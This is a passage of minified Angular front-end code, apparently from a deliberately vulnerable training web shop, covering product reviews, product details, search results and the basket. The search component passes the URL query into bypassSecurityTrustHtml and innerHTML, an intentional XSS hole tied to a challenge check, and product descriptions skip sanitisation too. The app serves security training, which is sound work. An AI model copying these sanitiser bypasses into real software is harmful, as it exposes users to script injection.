6(1),t.Q6J("color",m.color),t.xp6(2),t.Oqu(t.lcZ(53,34,"SHOW_PASSWORD_ADVICE")),t.xp6(2),t.Q6J("password",i.value),t.xp6(2),t.Q6J("ngIf",l.checked),t.xp6(1),t.Q6J("disabled",o.emailControl.invalid||o.securityQuestionControl.invalid||o.passwordControl.invalid||o.repeatPasswordControl.invalid||o.repeatPasswordControl.disabled),t.xp6(2),t.hij(" ",t.lcZ(60,36,"BTN_CHANGE")," ")}},dependencies:[h.O5,u.Pi,Ct.ne,Ct.Xy,p.Wh,s.Fj,s.JJ,s.oH,F.Hw,f.TO,f.KE,f.bx,f.hX,f.R9,x.lW,T.a8,B.Nt,Q.gM,jt.Rr,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}button[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:auto;margin-top:30px;width:60%}"]}),n})();function vo(n){return function(e){return n.value!==e.value?{notSame:!0}:null}}var N=c(5412);let Kt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/products"}get(e){return this.http.get(`${this.host}/${e}/reviews`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}create(e,o){return this.http.put(`${this.host}/${e}/reviews`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}patch(e){return this.http.patch(this.host+"/reviews",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}like(e){return this.http.post(this.host+"/reviews",{id:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function xo(n,a){1&n&&(t.TgZ(0,"mat-error",1),t._uU(1,"MANDATORY_REVIEW"),t.qZA())}O.vI.add(g.XCy,g.OFe);let bo=(()=>{class n{constructor(e,o,i,r,l){this.data=e,this.productReviewService=o,this.dialogRef=i,this.snackBar=r,this.snackBarHelperService=l,this.editReviewControl=new s.p4("",[s.kI.required,s.kI.minLength(1),s.kI.maxLength(160)]),this.error=null}ngOnInit(){this.editReviewControl.setValue(this.data.reviewData.message)}editReview(){this.productReviewService.patch({id:this.data.reviewData._id,message:this.editReviewControl.value}).subscribe(()=>{this.dialogRef.close()},e=>{console.log(e),this.error=e}),this.snackBarHelperService.open("CONFIRM_CHANGES_SAVED")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI),t.Y36(Kt),t.Y36(N.so),t.Y36(ut.ux),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-product-review-edit"]],decls:27,vars:13,consts:[["fxLayout","column",1,"container","mat-typography"],["translate",""],["appearance","outline","color","accent","hintLabel","Max 160 characters","floatLabel","always"],["matInput","","matTextareaAutosize","","matAutosizeMinRows","2","maxlength","160","matAutosizeMaxRows","4","aria-label","Text field to edit a product review",3,"formControl","placeholder","focus"],["textPut",""],["align","end"],["translate","",4,"ngIf"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog"],[1,"material-icons"],["type","submit","mat-raised-button","","color","primary","aria-label","Send the review",2,"margin-left","5px",3,"disabled","click"]],template:function(e,o){if(1&e&&(t.TgZ(0,"mat-dialog-content")(1,"div",0)(2,"h1",1),t._uU(3,"LABEL_EDIT_REVIEW"),t.qZA(),t.TgZ(4,"div")(5,"mat-form-field",2)(6,"mat-label",1),t._uU(7,"LABEL_REVIEW"),t.qZA(),t.TgZ(8,"textarea",3,4),t.NdJ("focus",function(){return o.error=null}),t.ALo(10,"translate"),t.qZA(),t.TgZ(11,"mat-hint",5),t._uU(12),t.qZA(),t.YNc(13,xo,2,0,"mat-error",6),t.qZA()()()(),t.TgZ(14,"mat-dialog-actions",5)(15,"button",7)(16,"i",8),t._uU(17," close "),t.qZA(),t.TgZ(18,"span"),t._uU(19),t.ALo(20,"translate"),t.qZA()(),t.TgZ(21,"button",9),t.NdJ("click",function(){return o.editReview()}),t.TgZ(22,"i",8),t._uU(23," send "),t.qZA(),t.TgZ(24,"span"),t._uU(25),t.ALo(26,"translate"),t.qZA()()()),2&e){const i=t.MAs(9);t.xp6(8),t.s9C("placeholder",t.lcZ(10,7,"WRITE_REVIEW_PLACEHOLDER")),t.Q6J("formControl",o.editReviewControl),t.xp6(4),t.hij("",(null==i.value?null:i.value.length)||0,"/160"),t.xp6(1),t.Q6J("ngIf",o.editReviewControl.invalid),t.xp6(6),t.hij(" ",t.lcZ(20,9,"BTN_CLOSE"),""),t.xp6(2),t.Q6J("disabled",o.editReviewControl.invalid),t.xp6(4),t.hij(" ",t.lcZ(26,11,"BTN_SUBMIT"),"")}},dependencies:[h.O5,u.Pi,p.xw,s.Fj,s.JJ,s.nD,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,B.Nt,N.ZT,N.xY,N.H8,u.X$],styles:["mat-form-field[_ngcontent-%COMP%]{width:100%}"]}),n})();var z=c(8729),V=c(7084);function To(n,a){if(1&n&&(t.TgZ(0,"div",24),t.ALo(1,"translate"),t.TgZ(2,"span",25),t._UZ(3,"i",26),t.TgZ(4,"span",27),t._uU(5),t.qZA()()()),2&n){const e=t.oxw();t.s9C("matTooltip",t.lcZ(1,2,"LABEL_BONUS")),t.xp6(5),t.Oqu(e.data.productData.points)}}function Ao(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div",29)(1,"div",30)(2,"div",31),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG("Anonymous"!==r.author&&r.author===l.author&&l.editReview(r))}),t.ALo(3,"translate"),t.TgZ(4,"cite"),t._uU(5),t.qZA(),t.TgZ(6,"p"),t._uU(7),t.qZA()(),t.TgZ(8,"div")(9,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.likeReview(r))}),t.TgZ(10,"span",25)(11,"mat-icon"),t._uU(12,"thumb_up"),t.qZA(),t.TgZ(13,"span",33),t._uU(14),t.qZA()()()()()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(2),t.s9C("matTooltipDisabled",e.author!==o.author),t.s9C("matTooltip",t.lcZ(3,6,"LABEL_EDIT_REVIEW")),t.xp6(3),t.Oqu(e.author),t.xp6(2),t.Oqu(e.message),t.xp6(2),t.Q6J("disabled",e.liked||!o.isLoggedIn()),t.xp6(5),t.Oqu(e.likesCount)}}function yo(n,a){if(1&n&&(t.TgZ(0,"div"),t.YNc(1,Ao,15,8,"div",28),t.ALo(2,"async"),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngForOf",t.lcZ(2,1,e.reviews$))}}function Zo(n,a){1&n&&(t.TgZ(0,"div")(1,"span",34),t._uU(2," EMPTY_REVIEW_LIST "),t.qZA()())}const wo=function(){return{length:"160"}};O.vI.add(g.XCy,g.OFe,g.yXf,g.u8Q,g.nmd);let ye=(()=>{class n{constructor(e,o,i,r,l,m){this.dialog=e,this.data=o,this.productReviewService=i,this.userService=r,this.snackBar=l,this.snackBarHelperService=m,this.author="Anonymous",this.reviewControl=new s.p4("",[s.kI.maxLength(160)])}ngOnInit(){this.data.productData.points=Math.round(this.data.productData.price/10),this.reviews$=this.productReviewService.get(this.data.productData.id),this.userSubscription=this.userService.whoAmI().subscribe(e=>{this.author=e?.email?e.email:"Anonymous"},e=>{console.log(e)})}ngOnDestroy(){this.userSubscription&&this.userSubscription.unsubscribe()}addReview(e){const o={message:e.value,author:this.author};e.value="",this.productReviewService.create(this.data.productData.id,o).subscribe(()=>{this.reviews$=this.productReviewService.get(this.data.productData.id)},i=>{console.log(i)}),this.snackBarHelperService.open("CONFIRM_REVIEW_SAVED")}editReview(e){this.dialog.open(bo,{width:"500px",height:"max-content",data:{reviewData:e}}).afterClosed().subscribe(()=>this.reviews$=this.productReviewService.get(this.data.productData.id))}likeReview(e){this.productReviewService.like(e._id).subscribe(()=>{console.log("Liked "+e._id)}),setTimeout(()=>this.reviews$=this.productReviewService.get(this.data.productData.id),200)}isLoggedIn(){return localStorage.getItem("token")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.uw),t.Y36(N.WI),t.Y36(Kt),t.Y36(R),t.Y36(ut.ux),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-product-details"]],decls:59,vars:36,consts:[["fxLayout","column",1,"container","mat-typography"],["fxLayout","row","fxLayout.lt-sm","column","fxLayoutGap","20px"],["fxFlex","noshrink"],[1,"img-thumbnail",3,"src","alt"],[3,"innerHTML"],[1,"item-price"],["aria-label","Bonus points when buying the product",3,"matTooltip",4,"ngIf"],[1,"detail-divider"],["mat-button","",2,"height","0","position","absolute"],["aria-label","Expand for Reviews",1,"mat-elevation-z0"],["translate","",2,"margin-right","5px"],[4,"ngIf","ngIfElse"],["emptyResult",""],["translate",""],["appearance","outline","color","accent","floatLabel","always"],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["cols","50","matInput","","matTextareaAutosize","","matAutosizeMinRows","2","maxlength","160","matAutosizeMaxRows","4","aria-label","Text field to review a product",3,"formControl","placeholder"],["textPut",""],["align","end"],["align","end",1,"dialogAction"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog","buttons"],[1,"material-icons"],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Send the review",1,"buttons",2,"margin-bottom","5px","margin-top","5px","margin-left","5px",3,"disabled","click"],["aria-label","Bonus points when buying the product",3,"matTooltip"],[1,"fa-2x","fa-layers","fa-fw"],[1,"fas","fa-crown"],[1,"fa-layers-counter","fa-layers-bottom-left","fa-2x","warn-notification",2,"font-size","47px"],["class","comment",4,"ngFor","ngForOf"],[1,"comment"],["fxLayout","row"],["matTooltipPosition","right",1,"review-text",3,"matTooltipDisabled","matTooltip","click"],["mat-icon-button","","aria-label","Rate a helpful review",1,"rw-button",3,"disabled","click"],[1,"fa-layers-counter","fa-layers-bottom-right","accent-notification",2,"font-size","32px"],["translate","",1,"noResultText"]],template:function(e,o){if(1&e){const i=t.EpF();t.TgZ(0,"mat-dialog-content")(1,"div",0)(2,"div",1)(3,"div",2),t._UZ(4,"img",3),t.qZA(),t.TgZ(5,"div")(6,"h1"),t._uU(7),t.qZA(),t._UZ(8,"div",4)(9,"br"),t.TgZ(10,"div")(11,"p",5),t._uU(12),t.qZA(),t.YNc(13,To,6,4,"div",6),t.qZA()()(),t._UZ(14,"mat-divider",7)(15,"button",8),t.TgZ(16,"mat-expansion-panel",9)(17,"mat-expansion-panel-header")(18,"mat-panel-title")(19,"span",10),t._uU(20,"LABEL_REVIEWS"),t.qZA(),t.TgZ(21,"span"),t._uU(22),t.ALo(23,"async"),t.qZA()()(),t._UZ(24,"button",8),t.YNc(25,yo,3,3,"div",11),t.ALo(26,"async"),t.YNc(27,Zo,3,0,"ng-template",null,12,t.W1O),t.qZA(),t.TgZ(29,"div"),t._UZ(30,"mat-divider",7),t.TgZ(31,"h4",13),t._uU(32,"WRITE_REVIEW"),t.qZA(),t.TgZ(33,"mat-form-field",14)(34,"mat-label",13),t._uU(35,"LABEL_REVIEW"),t.qZA(),t.TgZ(36,"mat-hint",13),t._UZ(37,"i",15),t.TgZ(38,"em",16),t._uU(39),t.ALo(40,"translate"),t.qZA()(),t._UZ(41,"textarea",17,18),t.ALo(43,"translate"),t.TgZ(44,"mat-hint",19),t._uU(45),t.qZA()(),t.TgZ(46,"mat-dialog-actions",20)(47,"button",21)(48,"i",22),t._uU(49," close "),t.qZA(),t.TgZ(50,"span"),t._uU(51),t.ALo(52,"translate"),t.qZA()(),t.TgZ(53,"button",23),t.NdJ("click",function(){t.CHM(i);const l=t.MAs(42);return t.KtG(o.addReview(l))}),t.TgZ(54,"i",22),t._uU(55," send "),t.qZA(),t.TgZ(56,"span"),t._uU(57),t.ALo(58,"translate"),t.qZA()()()()()()}if(2&e){const i=t.MAs(28),r=t.MAs(42);let l,m;t.xp6(4),t.s9C("alt",o.data.productData.name),t.Q6J("src","assets/public/images/products/"+o.data.productData.image,t.LSH),t.xp6(3),t.Oqu(o.data.productData.name),t.xp6(1),t.Q6J("innerHTML",o.data.productData.description,t.oJD),t.xp6(4),t.hij("",o.data.productData.price,"\\xa4"),t.xp6(1),t.Q6J("ngIf",o.data.productData.points>0),t.xp6(9),t.hij("(",null==(l=t.lcZ(23,22,o.reviews$))?null:l.length,")"),t.xp6(3),t.Q6J("ngIf",(null==(m=t.lcZ(26,24,o.reviews$))?null:m.length)>=1)("ngIfElse",i),t.xp6(6),t.Udp("display",o.isLoggedIn()?"block":"none"),t.xp6(2),t.Udp("display",o.isLoggedIn()?"block":"none"),t.xp6(6),t.Oqu(t.xi3(40,26,"MAX_TEXTAREA_LENGTH",t.DdM(35,wo))),t.xp6(2),t.s9C("placeholder",t.lcZ(43,29,"WRITE_REVIEW_PLACEHOLDER")),t.Q6J("formControl",o.reviewControl),t.xp6(4),t.hij("",(null==r.value?null:r.value.length)||0,"/160"),t.xp6(6),t.hij(" ",t.lcZ(52,31,"BTN_CLOSE"),""),t.xp6(2),t.Udp("display",o.isLoggedIn()?"block":"none"),t.Q6J("disabled",!r.value.trim()),t.xp6(4),t.hij(" ",t.lcZ(58,33,"BTN_SUBMIT")," ")}},dependencies:[h.sg,h.O5,u.Pi,p.xw,p.SQ,p.yH,s.Fj,s.JJ,s.nD,s.oH,F.Hw,f.KE,f.bx,f.hX,x.lW,B.Nt,N.ZT,N.xY,N.H8,z.d,V.ib,V.yz,V.yK,Q.gM,h.Ov,u.X$],styles:[".img-thumbnail[_ngcontent-%COMP%]{height:auto;max-width:100%;padding:0;width:200px}mat-form-field[_ngcontent-%COMP%]{width:100%}p[_ngcontent-%COMP%]{word-break:break-all}.btn-container[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:nth-child(2){left:530px;width:50px}.detail-divider[_ngcontent-%COMP%]{margin-bottom:12px;margin-top:12px}.rw-button[_ngcontent-%COMP%]{margin-left:8px}.comment[_ngcontent-%COMP%]{margin-bottom:8px}.review-link[_ngcontent-%COMP%]{font-size:11px;margin-top:-10px;text-decoration:none}#submitButton[_ngcontent-%COMP%]{float:right}.item-price[_ngcontent-%COMP%]{float:left;margin-right:40px;margin-top:8px}.noResultText[_ngcontent-%COMP%]{display:block;font-size:small;margin-left:auto;margin-right:auto;text-align:center}.dialogAction[_ngcontent-%COMP%]{margin-bottom:0!important}.buttons[_ngcontent-%COMP%]{padding-left:13px;padding-right:13px}"]}),n})(),Pt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Products"}search(e){return this.http.get(`${this.hostServer}/rest/products/search?q=${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}get(e){return this.http.get(`${this.host}/${e}?d=${encodeURIComponent((new Date).toDateString())}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var xt=c(8739),Nt=c(567),Ze=c(42);let st=(()=>{class n{constructor(e){this.ngZone=e,this.ngZone.runOutsideAngular(()=>{this._socket="."===P.N.hostServer?(0,Ze.io)(window.location.origin,{path:(window.location.pathname.endsWith("/")?window.location.pathname:window.location.pathname+"/")+"socket.io"}):(0,Ze.io)(P.N.hostServer)})}socket(){return this._socket}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(t.R0b))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Wt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Quantitys"}getAll(){return this.http.get(this.host+"/").pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var zt=c(782);function So(n,a){if(1&n&&(t.TgZ(0,"div")(1,"span"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t._UZ(4,"span",9),t.qZA()),2&n){const e=t.oxw();t.xp6(2),t.hij("",t.lcZ(3,2,"TITLE_SEARCH_RESULTS")," - "),t.xp6(2),t.Q6J("innerHTML",e.searchValue,t.oJD)}}function ko(n,a){1&n&&(t.TgZ(0,"div"),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.Oqu(t.lcZ(2,1,"TITLE_ALL_PRODUCTS")))}const Io=function(n){return{quantity:n}};function Oo(n,a){if(1&n&&(t.TgZ(0,"div",24)(1,"span",25),t._uU(2,"LABEL_ONLY_QUANTITY_LEFT"),t.qZA()()),2&n){const e=t.oxw().$implicit;t.xp6(1),t.Q6J("translateParams",t.VKq(1,Io,e.quantity))}}function Uo(n,a){1&n&&(t.TgZ(0,"div",26)(1,"span",27),t._uU(2,"LABEL_SOLD_OUT"),t.qZA()())}function Lo(n,a){if(1&n&&(t.TgZ(0,"span"),t._uU(1),t.qZA()),2&n){const e=t.oxw().$implicit;t.xp6(1),t.hij("",e.price,"\\xa4")}}function Po(n,a){if(1&n&&(t.TgZ(0,"span")(1,"s"),t._uU(2),t.qZA(),t._uU(3),t.qZA()),2&n){const e=t.oxw().$implicit;t.xp6(2),t.Oqu(e.price),t.xp6(1),t.hij(" ",e.deluxePrice,"\\xa4")}}function No(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",28),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw(2);return t.KtG(r.addToBasket(i.id))}),t.TgZ(1,"span",27),t._uU(2,"ADD_BASKET"),t.qZA()()}}function Eo(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-grid-tile")(1,"mat-card",13),t.YNc(2,Oo,3,3,"div",14),t.YNc(3,Uo,3,0,"div",15),t.TgZ(4,"div",16),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.showDetail(r))}),t.TgZ(5,"div",17),t._UZ(6,"img",18),t.qZA(),t.TgZ(7,"div",19)(8,"div",20),t._uU(9),t.qZA(),t.TgZ(10,"div",21),t.YNc(11,Lo,2,1,"span",3),t.YNc(12,Po,4,2,"span",3),t.qZA()()(),t.TgZ(13,"div",22),t.YNc(14,No,3,0,"button",23),t.qZA()()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.Udp("width","100%"),t.xp6(1),t.Q6J("ngIf",e.quantity<=5&&e.quantity>0),t.xp6(1),t.Q6J("ngIf",e.quantity<=0),t.xp6(3),t.s9C("alt",e.name),t.Q6J("src","assets/public/images/products/"+e.image,t.LSH),t.xp6(3),t.hij(" ",e.name," "),t.xp6(2),t.Q6J("ngIf",!o.isDeluxe()||e.price===e.deluxePrice),t.xp6(1),t.Q6J("ngIf",o.isDeluxe()&&e.price!==e.deluxePrice),t.xp6(2),t.Q6J("ngIf",o.isLoggedIn())}}function Mo(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"mat-grid-list",10,11),t.NdJ("resize",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.onResize(i))},!1,t.Jf7),t.YNc(3,Eo,15,10,"mat-grid-tile",12),t.ALo(4,"async"),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(1),t.Q6J("cols",e.breakpoint),t.xp6(2),t.Q6J("ngForOf",t.lcZ(4,2,e.gridDataSource))}}function Do(n,a){1&n&&(t.TgZ(0,"mat-card",29),t._UZ(1,"img",30),t.TgZ(2,"mat-card-title")(3,"span",31),t._uU(4," NO_SEARCH_RESULT "),t.qZA()(),t.TgZ(5,"mat-card-content")(6,"span",31),t._uU(7," EMPTY_SEARCH_RESULT "),t.qZA()()())}O.vI.add(g.Mdf,g.qD8);let $t=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y,dt,wt,St){this.deluxeGuard=e,this.dialog=o,this.productService=i,this.quantityService=r,this.basketService=l,this.translateService=m,this.router=v,this.route=A,this.sanitizer=q,this.ngZone=Y,this.io=dt,this.snackBarHelperService=wt,this.cdRef=St,this.displayedColumns=["Image","Product","Description","Price","Select"],this.pageSizeOptions=[],this.resultsLength=0,this.paginator=null,this.breakpoint=6,this.emptyState=!1}ngAfterViewInit(){const e=this.productService.search(""),o=this.quantityService.getAll();(0,Nt.D)([o,e]).subscribe(([i,r])=>{const l=[];this.tableData=r,this.trustProductDescription(r);for(const v of r)l.push({name:v.name,price:v.price,deluxePrice:v.deluxePrice,id:v.id,image:v.image,description:v.description});for(const v of i){const A=l.find(q=>q.id===v.ProductId);void 0!==A&&(A.quantity=v.quantity)}this.dataSource=new d.by(l);for(let v=1;v<=Math.ceil(this.dataSource.data.length/12);v++)this.pageSizeOptions.push(12*v);this.paginator.pageSizeOptions=this.pageSizeOptions,this.dataSource.paginator=this.paginator,this.gridDataSource=this.dataSource.connect(),this.resultsLength=this.dataSource.data.length,this.filterTable(),this.routerSubscription=this.router.events.subscribe(()=>{this.filterTable()});const m=this.route.snapshot.queryParams.challenge;m&&this.route.snapshot.url.join("").match(/hacking-instructor/)&&this.startHackingInstructor(decodeURIComponent(m)),window.innerWidth<2600?(this.breakpoint=4,window.innerWidth<1740&&(this.breakpoint=3,window.innerWidth<1280&&(this.breakpoint=2,window.innerWidth<850&&(this.breakpoint=1)))):this.breakpoint=6,this.cdRef.detectChanges()},i=>{console.log(i)})}trustProductDescription(e){for(let o=0;o<e.length;o++)e[o].description=this.sanitizer.bypassSecurityTrustHtml(e[o].description)}ngOnDestroy(){this.routerSubscription&&this.routerSubscription.unsubscribe(),this.productSubscription&&this.productSubscription.unsubscribe(),this.dataSource&&this.dataSource.disconnect()}filterTable(){let e=this.route.snapshot.queryParams.q;e?(e=e.trim(),this.ngZone.runOutsideAngular(()=>{this.io.socket().emit("verifyLocalXssChallenge",e)}),this.dataSource.filter=e.toLowerCase(),this.searchValue=this.sanitizer.bypassSecurityTrustHtml(e),this.gridDataSource.subscribe(o=>{this.emptyState=0===o.length})):(this.dataSource.filter="",this.searchValue=void 0,this.emptyState=!1)}startHackingInstructor(e){console.log(`Starting instructions for challenge "${e}"`),Promise.resolve().then(c.bind(c,1096)).then(o=>{o.startHackingInstructorFor(e)})}showDetail(e){this.dialog.open(ye,{width:"500px",height:"max-content",data:{productData:e}})}addToBasket(e){this.basketService.find(Number(sessionStorage.getItem("bid"))).subscribe(o=>{const i=o.Products;let r=!1;for(let l=0;l<i.length;l++)if(i[l].id===e){r=!0,this.basketService.get(i[l].BasketItem.id).subscribe(m=>{this.basketService.put(m.id,{quantity:m.quantity+1}).subscribe(A=>{this.productService.get(A.ProductId).subscribe(q=>{this.translateService.get("BASKET_ADD_SAME_PRODUCT",{product:q.name}).subscribe(Y=>{this.snackBarHelperService.open(Y,"confirmBar"),this.basketService.updateNumberOfCartItems()},Y=>{this.snackBarHelperService.open(Y,"confirmBar"),this.basketService.updateNumberOfCartItems()})},q=>{console.log(q)})},A=>{this.snackBarHelperService.open(A.error?.error,"errorBar"),console.log(A)})},m=>{console.log(m)});break}r||this.basketService.save({ProductId:e,BasketId:sessionStorage.getItem("bid"),quantity:1}).subscribe(l=>{this.productService.get(l.ProductId).subscribe(m=>{this.translateService.get("BASKET_ADD_PRODUCT",{product:m.name}).subscribe(v=>{this.snackBarHelperService.open(v,"confirmBar"),this.basketService.updateNumberOfCartItems()},v=>{this.snackBarHelperService.open(v,"confirmBar"),this.basketService.updateNumberOfCartItems()})},m=>{console.log(m)})},l=>{this.snackBarHelperService.open(l.error?.error,"errorBar"),console.log(l)})},o=>{console.log(o)})}isLoggedIn(){return localStorage.getItem("token")}onResize(e){e.target.innerWidth<2600?(this.breakpoint=4,e.target.innerWidth<1740&&(this.breakpoint=3,e.target.innerWidth<1280&&(this.breakpoint=2,e.target.innerWidth<850&&(this.breakpoint=1)))):this.breakpoint=6}isDeluxe(){return this.deluxeGuard.isDeluxe()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ht),t.Y36(N.uw),t.Y36(Pt),t.Y36(Wt),t.Y36(X),t.Y36(u.sK),t.Y36(U.F0),t.Y36(U.gz),t.Y36(k.H7),t.Y36(t.R0b),t.Y36(st),t.Y36(J.H),t.Y36(t.sBO))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-search-result"]],viewQuery:function(e,o){if(1&e&&t.Gf(xt.NW,7),2&e){let i;t.iGM(i=t.CRH())&&(o.paginator=i.first)}},decls:12,vars:7,consts:[["fxLayoutAlign","center"],[1,"table-container","custom-slate"],[1,"heading","mat-elevation-z6"],[4,"ngIf"],["id","search-result-heading"],[4,"ngIf","ngIfElse"],["emptyResult",""],["color","accent",1,"mat-elevation-z6",3,"pageSize","pageSizeOptions","length"],["paginator",""],["id","searchValue",3,"innerHTML"],["gutterSize","30px",3,"cols","resize"],["table",""],[4,"ngFor","ngForOf"],[1,"mat-elevation-z6","ribbon-card"],["class","ribbon ribbon-top-left",4,"ngIf"],["class","ribbon ribbon-top-left ribbon-sold",4,"ngIf"],["aria-label","Click for more information about the product","matTooltip","Click for more information","matTooltipPosition","above",1,"product",3,"click"],["fxFlexAlign","center","fxFlex","60%",1,"img-container"],["mat-card-image","","role","button",1,"img-responsive","img-thumbnail",3,"src","alt"],["fxFlexAlign","center","fxFlex","40%"],[1,"item-name"],[1,"item-price"],[2,"display","flex","justify-content","center"],["aria-label","Add to Basket","class","btn-basket","color","primary","mat-button","","mat-raised-button","",3,"click",4,"ngIf"],[1,"ribbon","ribbon-top-left"],["translate","",3,"translateParams"],[1,"ribbon","ribbon-top-left","ribbon-sold"],["translate",""],["aria-label","Add to Basket","color","primary","mat-button","","mat-raised-button","",1,"btn-basket",3,"click"],[1,"mat-elevation-z6","emptyState"],["alt"," No results found","src","assets/public/images/products/no-results.png",1,"img-responsive","noResult"],["translate","",1,"noResultText"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"div",1)(2,"div",2),t.YNc(3,So,5,4,"div",3),t.YNc(4,ko,3,3,"div",3),t._UZ(5,"div",4),t.qZA(),t.YNc(6,Mo,5,4,"div",5),t.YNc(7,Do,8,0,"ng-template",null,6,t.W1O),t._UZ(9,"mat-divider")(10,"mat-paginator",7,8),t.qZA()()),2&e){const i=t.MAs(8);t.xp6(3),t.Q6J("ngIf",o.searchValue),t.xp6(1),t.Q6J("ngIf",!o.searchValue),t.xp6(2),t.Q6J("ngIf",!o.emptyState)("ngIfElse",i),t.xp6(4),t.Q6J("pageSize",12)("pageSizeOptions",o.pageSizeOptions)("length",o.resultsLength)}},dependencies:[h.sg,h.O5,u.Pi,p.Wh,p.XD,p.yH,x.lW,xt.NW,T.a8,T.dn,T.n5,T.G2,z.d,Q.gM,zt.Il,zt.DX,h.Ov,u.X$],styles:[\'.table-container[_ngcontent-%COMP%]{min-width:350px;width:80%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}.img-thumbnail[_ngcontent-%COMP%]{width:100%}.product[_ngcontent-%COMP%]{cursor:pointer}.btn-basket[_ngcontent-%COMP%]{bottom:10%}mat-card[_ngcontent-%COMP%]{height:calc(100% - 70px)}.item-price[_ngcontent-%COMP%]{font-size:initial;margin-top:12px;text-align:center}.item-name[_ngcontent-%COMP%]{font-size:large;text-align:center}.emptyState[_ngcontent-%COMP%]{display:block;height:auto!important;margin:20px auto;width:50%}.noResult[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:auto;width:60%}.noResultText[_ngcontent-%COMP%]{display:block;margin-top:10px;text-align:center}.ribbon-card[_ngcontent-%COMP%]{position:relative}.ribbon[_ngcontent-%COMP%]{height:150px;overflow:hidden;pointer-events:none;position:absolute;width:150px}.ribbon[_ngcontent-%COMP%]:before{content:"";display:block;position:absolute;z-index:-1}.ribbon[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{box-shadow:0 5px 10px #0000001a;color:#fff;display:block;font:700 18px/1 Lato,sans-serif;padding:15px 0;position:absolute;text-align:center;text-shadow:0 1px 1px rgba(0,0,0,.2);width:225px}.ribbon-top-left[_ngcontent-%COMP%]{left:-10px;top:-10px}.ribbon-top-left[_ngcontent-%COMP%]:before{border-left-color:transparent;border-top-color:transparent;right:0;top:0}.ribbon-top-left[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{right:-25px;top:30px;transform:rotate(-45deg)}\']}),n})(),Vt=(()=>{class n{get nativeWindow(){return function qo(){return window}()}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Xt=c(6709);function Fo(n,a){if(1&n&&(t.TgZ(0,"div",20),t._uU(1),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Oqu(e.error)}}function Bo(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1,"MANDATORY_EMAIL"),t.qZA())}function Ro(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",21),t.NdJ("click",function(){t.CHM(e);const 